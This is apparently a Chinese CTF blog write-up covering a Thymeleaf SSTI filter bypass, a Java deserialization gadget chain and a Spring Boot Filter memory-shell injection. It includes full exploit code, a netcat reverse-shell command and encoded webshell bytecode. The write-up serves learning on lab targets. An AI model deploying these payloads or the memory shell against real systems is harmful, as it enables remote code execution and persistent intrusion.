[CISCN 2026初赛]EzJava

第一次参加国赛,虽然没有希望进线下,但还是收获颇丰。初赛给了两道Java题,到后面一题500分一题50分,另外这次的题名沿用了2024国赛的ezjava,但是这次肯定没有那么挑战性了,就只涉及了一个Java后端的SSTI模板注入,用的是Thymeleaf模板引擎。SpringBoot官方推荐的模板引擎

登录靶机唯一有用的是登录入口,账号密码已经提前写好了,但给的不是正确的密码。 找密码找了很久,起初扫端口扫到了/;admin路径,长得比较稀奇去搜了一下说是好像和SpringSercurity有关系,花了半天研究所谓的SpringSecurity绕过,浪费了很多时间。最后密码居然是弱口令admin123,还是涉世未深啊

后台就直接模板突脸了

<p>现在时间: <span th:text="${now}"></span></p>

渲染出来就是现实时间

<p>现在时间: <span>2025-12-28T10:52:37.209748</span></p>

后面测试7*7也可以,无所谓其实。网上找了些现成的payload试了一下,发现有三个主要的Waf,

首先是T(,匹配到会替换成NoNo,这里在中间插入个空格就能绕过了

image-20251228185955406

然后是new,匹配到会被替换成Wow

image-20251228213144264

获取根目录文件结构

<p>现在时间: <span th:text="${T (java.nio.file.Files).list(T (java.nio.file.Paths).get('/')).collect(T (java.util.stream.Collectors).toList())}"> </span></p>

image-20260105174223259

上面的模板等价于

Files.list(Paths.get("/")).collect(Collectors.toList());

Files.list() 返回的是 Stream<Path>,而 Collectors.toList() 接收的是 Stream<String>,但模板引擎会自己进行类型转换

读取flag文件

<p>现在时间: <span th:text="${T (java.nio.file.Files).readString(T (java.nio.file.Paths).get(T (java.lang.String).join('', T (java.util.Arrays).asList('/', 'f', 'l', 'a', 'g', '_', 'y', 'o', 'u','_','d','0','n','t','_','k','n','0','w'))))}"> </span> </p>

image-20260105175349522

上面的模板等价于

Files.readString(Paths.get(String.join("", Arrays.asList("/", "f", "l", "a", "g", "_", "y", "o", "u", "_", "d", "0", "n", "t", "_", "k", "n", "0", "w"))));

[MoeCTF 2025]第二十三章 幻境迷心·皇陨星沉(大结局)

一个月前看的反序列化题,那时候对Java都没有什么理解,最近感觉忘得差不多了就掏出来瞄一眼,发现很多之前难以理解的地方都清晰起来了

题目有用的无非就两个类DogDogService还有个DogModel接口

package com.example.demo.Dog;

import java.io.Serializable;
import java.util.Objects;

public class Dog implements Serializable, DogModel {
private int id;
private String name;
private String breed;
private int age;
private int hunger;
Object object;
String methodName;
Class[] paramTypes;
Object[] args;

public Dog(int id, String name, String breed, int age) {
this.id = id;
this.name = name;
this.breed = breed;
this.age = age;
this.hunger = 50;
}

public int getId() {
return this.id;
}

public void setId(int id) {
this.id = id;
}

public String getName() {
return this.name;
}

public String getBreed() {
return this.breed;
}

public int getAge() {
return this.age;
}

public int getHunger() {
return this.hunger;
}

public void feed() {
this.hunger = Math.max(0, this.hunger - 10);
}

public boolean equals(Object o) {
if (this == o) {
return true;
} else if (o != null && this.getClass() == o.getClass()) {
Dog dog = (Dog)o;
return this.id == dog.id;
} else {
return false;
}
}

public int hashCode() {
this.wagTail(this.object, this.methodName, this.paramTypes, this.args);
return Objects.hash(new Object[]{this.id});
}
}

Dog里面有一些神秘的字段名Objectargs什么的,很难不让人想到反射调用,而且注意到Dog中有个hashCode()方法,hashCode()内部调用了wagTail(),这个wagTail()DogModel接口里面被定义为默认方法,具有方法体

default Object wagTail(Object input, String methodName, Class[] paramTypes, Object[] args) {
try {
Class cls = input.getClass();
Method method = cls.getMethod(methodName, paramTypes);
return method.invoke(input, args);
} catch (Exception e) {
e.printStackTrace();
return null;
}
}
}

方法体中调用了反射,是一种可以执行一次命令的方法,但是还不足以进行命令执行,重点在DogServicechainWagTail()

public Object chainWagTail() {
Object input = null;

for(Dog dog : this.dogs.values()) {
if (input == null) {
input = dog.object;
}

Object result = dog.wagTail(input, dog.methodName, dog.paramTypes, dog.args);
input = result;
}

return input;
}

有点像CC链里面的ChainedTransformer了,通过链式调用获取Runtime实例执行命令,刚好DogService里面的importBase64()具有readObject()方法

public void importDogsBase64(String base64Data) {
try (ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64Data))) {
ObjectInputStream ois = new ObjectInputStream(bais);
Throwable var5 = null;

try {
for(example.demo.Dog.Dog dog : (Collection)ois.readObject()) {
dog.setId(this.nextId++);
this.dogs.put(dog.getId(), dog);
}
} catch (Throwable var32) {
var5 = var32;
throw var32;
} finally {
if (ois != null) {
if (var5 != null) {
try {
ois.close();
} catch (Throwable var31) {
var5.addSuppressed(var31);
}
} else {
ois.close();
}
}

}
} catch (ClassNotFoundException | IOException e) {
((Exception)e).printStackTrace();
}

}

好多try-catch看着很乱,现在问题是谁作为入口类?前面的Dog类具有hashCode()方法且可以反射调用命令,刚好HashMapreadObject()方法会自动调用hash()方法进而调用hashCode()

private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;

// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}

进入hash()方法

static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}

对键调用了hashCode(),构造一个map把一个Dog作为键,之后再通过反射调用DogServicechainWagTail()执行任意命令,链就完整了

HashMap.readObject()
->HashMap.hash()
->example.demo.Dog.Dog.hashCode()
->example.demo.Dog.Dog.wagTail()
->method.invoke()
->example.demo.Dog.DogService.chainWagTail()
->example.demo.Dog.Dog.wagTail()
->example.demo.Dog.Dog.wagTail()
->example.demo.Dog.Dog.wagTail()
dog1.Object -> input = (Class) java.lang.Runtime
dog2.wagtail(Runtime.class, "invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}) -> input = (Method) java.lang.Runtime.getRuntime()
dog3.wagtail(java.lang.Runtime.getRuntime(), "invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}) -> input = (Runtime) Runtime
dog4.wagTail(Runtime, "exec", new Class[]{String.class}, new Object[]{"calc"}) -> input = (ProcessImpl) Command executed

首先就是要构造一个DogService,控制其dogs字段方便我们链式调用

Dog dog1 = setDogFields(Runtime.class,"getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]});
Dog dog2 = setDogFields(null, "invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null});
Dog dog3 = setDogFields(null,"exec", new Class[]{String.class}, new Object[]{"calc"});

Map<Integer, Dog> map = new HashMap<>();
map.put(1,dog1);
map.put(2,dog2);
map.put(3,dog3);

DogService dogService = new DogService();
Class<?> clazz = DogService.class;
Field dogs = clazz.getDeclaredField("dogs");
dogs.setAccessible(true);
dogs.set(dogService, map);

噢,还要封装出来一个方法方便我们修改字段

public static Dog setDogFields(Object object,String methodName,Class<?>[] paramTypes,Object[] args) throws Throwable {
Dog dog = new Dog(1,"name","bread",1);
Class<?> clazz = dog.getClass();

Field objectField = clazz.getDeclaredField("object");
objectField.setAccessible(true);
objectField.set(dog,object);

Field methodField = clazz.getDeclaredField("methodName");
methodField.setAccessible(true);
methodField.set(dog,methodName);

Field paramTypesField = clazz.getDeclaredField("paramTypes");
paramTypesField.setAccessible(true);
paramTypesField.set(dog,paramTypes);

Field argsField = clazz.getDeclaredField("args");
argsField.setAccessible(true);
argsField.set(dog,args);
return dog;
}

构造一个dog4,让它去调用前面dogServicechainWagTail()

Dog dog4 = setDogFields(dogService,"chainWagTail",null,null);
Map <Dog, Integer> invokeMap = new HashMap<>();
invokeMap.put(dog4,114514);

或者用HashSet,因为HashSetreadObject()调用了HashMapput(),而put()又调用了hashCode(),这么做的优点是Set接口是Collection的子接口,传进去的时候不会报转型错误

Set<Dog> invokeSet = new HashSet<>();
invokeSet.add(dog4);

构造完毕,全链如下

package com.example.demo.Dog;
import org.junit.Test;

import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class Exp {
/*
HashMap.readObject()
->HashMap.hash()
->example.demo.Dog.Dog.hashCode()
->example.demo.Dog.Dog.wagTail()
->method.invoke()
->example.demo.Dog.DogService.chainWagTail()
->example.demo.Dog.Dog.wagTail()
->example.demo.Dog.Dog.wagTail()
->example.demo.Dog.Dog.wagTail()
dog1.Object -> input = (Class) java.lang.Runtime
dog1.wagtail(Runtime.class, "invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}) -> input = (Method) java.lang.Runtime.getRuntime()
dog2.wagtail(java.lang.Runtime.getRuntime(), "invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}) -> input = (Runtime) Runtime
dog3.wagTail(Runtime, "exec", new Class[]{String.class}, new Object[]{"nc 127.0.0.1 4444 -e /bin/sh"}) -> input = (ProcessImpl) Command executed
*/
public static void main(String[] args) throws Throwable,Exception {
Dog dog1 = setDogFields(Runtime.class,"getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",new Class[0]});
Dog dog2 = setDogFields(null, "invoke",new Class[]{Object.class, Object[].class}, new Object[]{null, null});
Dog dog3 = setDogFields(null,"exec", new Class[]{String.class}, new Object[]{"calc"});
// Dog dog3 = setDogFields(null,"exec", new Class[]{String.class}, new Object[]{"nc 127.0.0.1 4444 -e /bin/sh"});

Map<Integer, Dog> map = new HashMap<>();
map.put(1,dog1);
map.put(2,dog2);
map.put(3,dog3);

DogService dogService = new DogService();
Class<?> clazz = DogService.class;
Field dogs = clazz.getDeclaredField("dogs");
dogs.setAccessible(true);
dogs.set(dogService, map);

Dog dog4 = setDogFields(dogService,"chainWagTail",null,null);
Map <Dog, Integer> invokeMap = new HashMap<>();
invokeMap.put(dog4,114514);

serialize(invokeMap);
}

@Test
public void deserialize() throws Throwable {
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get("moeSerial.ser")));
ois.readObject();
}

public static Dog setDogFields(Object object,String methodName,Class<?>[] paramTypes,Object[] args) throws Throwable {
Dog dog = new Dog(1,"name","bread",1);
Class<?> clazz = dog.getClass();

Field objectField = clazz.getDeclaredField("object");
objectField.setAccessible(true);
objectField.set(dog,object);

Field methodField = clazz.getDeclaredField("methodName");
methodField.setAccessible(true);
methodField.set(dog,methodName);

Field paramTypesField = clazz.getDeclaredField("paramTypes");
paramTypesField.setAccessible(true);
paramTypesField.set(dog,paramTypes);

Field argsField = clazz.getDeclaredField("args");
argsField.setAccessible(true);
argsField.set(dog,args);
return dog;
}

public static void serialize(Object object) throws Throwable {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("moeSerial.ser")));
oos.writeObject(object);
byte[] fileBytes = Files.readAllBytes(Paths.get("moeSerial.ser"));
String base64Encoded = Base64.getEncoder().encodeToString(fileBytes);
System.out.println(base64Encoded);
Files.write(Paths.get("moeSerial.txt"), base64Encoded.getBytes());
}
}

此外,做这种Java反序列化题目尽量让包名环境和题目环境一样,此外还要保证SerializeID相同,就此题而言,还需在DogService类加上

private static final long serialVersionUID = 988523103989629987L;

题目给了跳板机,执行反弹shell命令nc 127.0.0.1 4444 -e /bin/sh,监听4444端口,最后在环境变量看到了flag

96a84f43fa3efccab055a29a1ea5d7d8


[MoeCTF 2025]附加挑战

本题为第二十三章 幻境迷心·皇陨星沉(大结局)的附加题,这一题平台不再提供跳板机用于反弹shell,所以我们需要注入内存马回显,对附件解包可以发现题目环境是SpringBoot,官方Wp曾尝试使用动态编译注入Interceptor拦截器内存马,但是该方式过于复杂,我想到SpringBoot其实内嵌了一个Tomcat服务器,便想着注入一个Filter内存马

前言

首先,由前面的题目可以知道我们可以利用HashSetreadObject()方法触发DoghashCode()方法,该方法会调用一次wagTail()方法,我们可以通过控制Dog的属性利用wagTail()方法进行一次任意命令执行

跟过CC链就会知道,通过TemplatesImpl类的newTransformer()方法可以进行一次动态类加载,因此我们尝试利用这一思路注入,问题是注入一个什么类?在该类被加载时,需要自动获取StandardContext,并将恶意Filter加载出来并注册进去

所以就有了大体思路:构建恶意Filter->获取StandardContext并注册内存马->将上步的逻辑写入被newTransformer()方法加载的类的静态代码块->通过newTransformer()加载恶意类

构建Exp

首先是Filter内存马,这一步与所有注入Filter内存马的过程几乎一样

public class ShellFilter implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {

}

@Override
public void doFilter(ServletRequest req, ServletResponse res, FilterChain chain) throws IOException, ServletException {
String cmd = req.getParameter("cmd");
if (cmd != null) {
StringBuilder output = new StringBuilder();
ProcessBuilder processBuilder;
processBuilder = new ProcessBuilder("/bin/sh", "-c", cmd);
try {
Process process = processBuilder.start();
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
String line;
while ((line = reader.readLine()) != null) {
output.append(line).append("\n");
}
} catch (IOException e) {
throw new RuntimeException(e);
}
res.setContentType("text/html;charset=UTF-8");
res.getWriter().println(output);
} else {
chain.doFilter(req, res);
}
}

@Override
public void destroy() {

}
}

接下来是构建恶意被加载类,我们需要在该类的静态代码块执行过程中获取ShellFilter实例,可以先把ShellFilter转换为字节码保存在静态代码块逻辑中,在执行时再加载获取实例,下面是导出ShellFilter字节码的逻辑

public class Dump {
public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException {
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.get("com.example.demo.Dog.ShellFIlter");
byte[] bytes = ctClass.toBytecode();
String encode = Base64.getEncoder().encodeToString(bytes);
System.out.println(encode);
}

}

获取字节码后,开始构建恶意被加载类,首先是要获取StandardContext,在SpringBoot获取StandardContext与纯Tomcat环境略有不同,Spring Boot 并没有直接暴露 Tomcat 的原生对象,而是将其进行了多层次的封装,这本质是一个抽丝剥茧的过程,我感觉AI讲的比我更好就直接搬上来罢

image-20260120142506438

具体反映到代码上就是以下的过程

Class<?> contextHolderClass = Class.forName("org.springframework.web.context.request.RequestContextHolder");
Method getRequestAttributesMethod = contextHolderClass.getMethod("getRequestAttributes");
Object attributes = getRequestAttributesMethod.invoke(null);

Class<?> requestAttributesClass = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
Method getRequestMethod = requestAttributesClass.getMethod("getRequest");
ServletRequest request = (ServletRequest) getRequestMethod.invoke(attributes);
ServletContext servletContext = request.getServletContext();

Field contextField = servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
Object applicationContext = contextField.get(servletContext);

Field stdContextField = applicationContext.getClass().getDeclaredField("context");
stdContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) stdContextField.get(applicationContext);

对比一下正常Tomcat获取StandardContext的过程

ServletContext servletContext = request.getServletContext();
Field applicationContextField = servletContext.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext context = (StandardContext) standardContextField.get(applicationContext);

其实就是我们无法直接获取request,在SpringBoot中,request被封装为ServletRequestAttributes的一个字段,ServletRequestAttributes可以通过调用RequestContextHoldergetRequestAttributes()方法获取,这不代表ServletRequestAttributes被包装进了RequestContextHolder,而是因为RequestContextHolder的特殊性,getRequestAttributes()返回的是当前线程的ServletRequestAttributes而不是一个简单的、不变的字段,这也是为什么不直接获取ServletRequestAttributes反射调用getRequest(),因为这样根本无法保证获取到的request对象是从哪来的

所以完整的恶意被加载类,该类为了契合TemplatesImpl的要求需要继承AbstractTranslate

public class InjectClass extends AbstractTranslet {

static {
try{
Class<?> contextHolderClass = Class.forName("org.springframework.web.context.request.RequestContextHolder");
Method getRequestAttributesMethod = contextHolderClass.getMethod("getRequestAttributes");
Object attributes = getRequestAttributesMethod.invoke(null);

Class<?> requestAttributesClass = Class.forName("org.springframework.web.context.request.ServletRequestAttributes");
Method getRequestMethod = requestAttributesClass.getMethod("getRequest");
ServletRequest request = (ServletRequest) getRequestMethod.invoke(attributes);
ServletContext servletContext = request.getServletContext();

Field contextField = servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
Object applicationContext = contextField.get(servletContext);

Field stdContextField = applicationContext.getClass().getDeclaredField("context");
stdContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) stdContextField.get(applicationContext);

String sourceCode = "yv66vgAAADQAiwoAHQBPCABACwBQAFEHAFIKAAQATwcAUwcAVAgAVQgAVgoABgBXCgAGAFgHAFkHAFoKAFsAXAoADQBdCgAMAF4KAAwAXwoABABgCABhBwBiBwBjCgAVAGQIAGULAGYAZwsAZgBoCgBpAGoLAGsAbAcAbQcAbgcAbwEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAiTGNvbS9leGFtcGxlL2RlbW8vRG9nL1NoZWxsRmlsdGVyOwEABGluaXQBAB8oTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOylWAQAMZmlsdGVyQ29uZmlnAQAcTGphdmF4L3NlcnZsZXQvRmlsdGVyQ29uZmlnOwEACkV4Y2VwdGlvbnMHAHABAAhkb0ZpbHRlcgEAWyhMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7TGphdmF4L3NlcnZsZXQvRmlsdGVyQ2hhaW47KVYBAAdwcm9jZXNzAQATTGphdmEvbGFuZy9Qcm9jZXNzOwEABnJlYWRlcgEAGExqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyOwEABGxpbmUBABJMamF2YS9sYW5nL1N0cmluZzsBAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQAGb3V0cHV0AQAZTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEADnByb2Nlc3NCdWlsZGVyAQAaTGphdmEvbGFuZy9Qcm9jZXNzQnVpbGRlcjsBAANyZXEBAB5MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAANyZXMBAB9MamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAFY2hhaW4BABtMamF2YXgvc2VydmxldC9GaWx0ZXJDaGFpbjsBAANjbWQBAA1TdGFja01hcFRhYmxlBwBtBwBxBwByBwBzBwBUBwBSBwBTBwB0BwBZBwBiAQAHZGVzdHJveQEAClNvdXJjZUZpbGUBABBTaGVsbEZpbHRlci5qYXZhDAAfACAHAHEMAHUAdgEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyAQAQamF2YS9sYW5nL1N0cmluZwEABy9iaW4vc2gBAAItYwwAHwB3DAB4AHkBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgcAdAwAegB7DAAfAHwMAB8AfQwAfgB/DACAAIEBAAEKAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAfAIIBABd0ZXh0L2h0bWw7Y2hhcnNldD1VVEYtOAcAcgwAgwCEDACFAIYHAIcMAIgAiQcAcwwALACKAQAgY29tL2V4YW1wbGUvZGVtby9Eb2cvU2hlbGxGaWx0ZXIBABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YXgvc2VydmxldC9GaWx0ZXIBAB5qYXZheC9zZXJ2bGV0L1NlcnZsZXRFeGNlcHRpb24BABxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0AQAdamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2UBABlqYXZheC9zZXJ2bGV0L0ZpbHRlckNoYWluAQARamF2YS9sYW5nL1Byb2Nlc3MBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAAVzdGFydAEAFSgpTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgEADnNldENvbnRlbnRUeXBlAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABNqYXZhL2lvL1ByaW50V3JpdGVyAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL09iamVjdDspVgEAQChMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDtMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7KVYAIQAcAB0AAQAeAAAABAABAB8AIAABACEAAAAvAAEAAQAAAAUqtwABsQAAAAIAIgAAAAYAAQAAAAgAIwAAAAwAAQAAAAUAJAAlAAAAAQAmACcAAgAhAAAANQAAAAIAAAABsQAAAAIAIgAAAAYAAQAAAAwAIwAAABYAAgAAAAEAJAAlAAAAAAABACgAKQABACoAAAAEAAEAKwABACwALQACACEAAAGhAAYACgAAAJkrEgK5AAMCADoEGQTGAIS7AARZtwAFOgW7AAZZBr0AB1kDEghTWQQSCVNZBRkEU7cACjoGGQa2AAs6B7sADFm7AA1ZGQe2AA63AA+3ABA6CBkItgARWToJxgATGQUZCbYAEhITtgASV6f/6KcADzoHuwAVWRkHtwAWvywSF7kAGAIALLkAGQEAGQW2ABqnAAstKyy5ABsDALEAAQA0AGsAbgAUAAMAIgAAAEIAEAAAABAACgARAA8AEgAYABQANAAWADsAFwBQABkAWwAaAGsAHgBuABwAcAAdAHoAHwCCACAAjQAhAJAAIgCYACQAIwAAAHAACwA7ADAALgAvAAcAUAAbADAAMQAIAFgAEwAyADMACQBwAAoANAA1AAcAGAB1ADYANwAFADQAWQA4ADkABgAAAJkAJAAlAAAAAACZADoAOwABAAAAmQA8AD0AAgAAAJkAPgA/AAMACgCPAEAAMwAEAEEAAAAwAAb/AFAACQcAQgcAQwcARAcARQcARgcARwcASAcASQcASgAA+QAaQgcASwv5ABUHACoAAAAGAAIAFAArAAEATAAgAAEAIQAAACsAAAABAAAAAbEAAAACACIAAAAGAAEAAAApACMAAAAMAAEAAAABACQAJQAAAAEATQAAAAIATg==";
byte[] bytes = Base64.getDecoder().decode(sourceCode);
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
Class<?> clazz = (Class<?>) method.invoke(classLoader, bytes, 0, bytes.length);
Filter filterShell = (Filter) clazz.newInstance();

FilterDef filterDef = new FilterDef();
filterDef.setFilterName("ShellFilter");
filterDef.setFilter(filterShell);
filterDef.setFilterClass(filterShell.getClass().getName());
standardContext.addFilterDef(filterDef);

Constructor<?> constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);


FilterMap filterMap = new FilterMap();
filterMap.setFilterName("ShellFilter");
filterMap.addURLPattern("/*");
standardContext.addFilterMap(filterMap);

Field filterConfigsField = StandardContext.class.getDeclaredField("filterConfigs");
filterConfigsField.setAccessible(true);
Map<String, ApplicationFilterConfig> filterConfigs = (Map<String, ApplicationFilterConfig>) filterConfigsField.get(standardContext);
filterConfigs.put("ShellFilter", filterConfig);

System.out.println("success");
} catch (Exception e) {
throw new RuntimeException(e);
}

}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

接下来是完整的Exp

public class ExpForMemShell {

public static void main(String[] args) throws Throwable {

byte[] shell = Files.readAllBytes(Paths.get("C:\\Users\\leyi\\IntelliJTest\\serialize\\Moeserialize\\out\\production\\Moeserialize\\com\\example\\demo\\Dog\\InjectClass.class"));

TemplatesImpl templates = new TemplatesImpl();
Class<?> clazz = templates.getClass();
Field tfactory = clazz.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());
Field name = clazz.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "Shell");
Field bytecodes = clazz.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
bytecodes.set(templates, new byte[][]{shell});

Dog EvilDog = setDogFields(templates, "getClass", new Class[0], new Object[0]);
HashSet<Dog> set = new HashSet<>();
set.add(EvilDog);

Class<?> dogClass = EvilDog.getClass();
Field objects = dogClass.getDeclaredField("object");
objects.setAccessible(true);
objects.set(EvilDog, templates);
Field methodName = dogClass.getDeclaredField("methodName");
methodName.setAccessible(true);
methodName.set(EvilDog, "newTransformer");

serialize(set);
}

public static Dog setDogFields(Object object,String methodName,Class<?>[] paramTypes,Object[] args) throws Throwable {
return Exp.setDogFields(object, methodName, paramTypes, args);
}

public static void serialize(Object object) throws Throwable {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("moeSerialForShell.ser")));
oos.writeObject(object);
byte[] fileBytes = Files.readAllBytes(Paths.get("moeSerialForShell.ser"));
String base64Encoded = Base64.getEncoder().encodeToString(fileBytes);
System.out.println(base64Encoded);
Files.write(Paths.get("moeSerialForShell.txt"), base64Encoded.getBytes());
}
}

将得到的payload在本地测试成功,控制台打印了success字样

image-20260120154543682

靶机注入内存马,flag在环境变量里

image-20260120154728056

后话

很奇怪,题目给的jar包本地运行,上传文件居然会直接把数据用GET请求发送,这会触发8KB的默认数据上限,后面尝试自己在IDEA上写一个一样的环境运行,这样可以更好地查看报错信息。把源码复制上去,发现DogService类产生了报错

image-20260120153801060

readObject()方法返回一个Object对象,虽然这里强转成了集合类型,但是还是会报错,这里只允许让dog的声明类型为Object,所以我在复原题目环境的时候又稍微修改了一下

image-20260120154108880

后面就是修改启动类配置,主要是修复了请求数据上限和index.html的路径

image-20260120154247466

这道附加题也是折腾了几天,用官方的动态类编译思路不仅麻烦,还总是做不出来的,现在看还是Filter内存马好用,还方便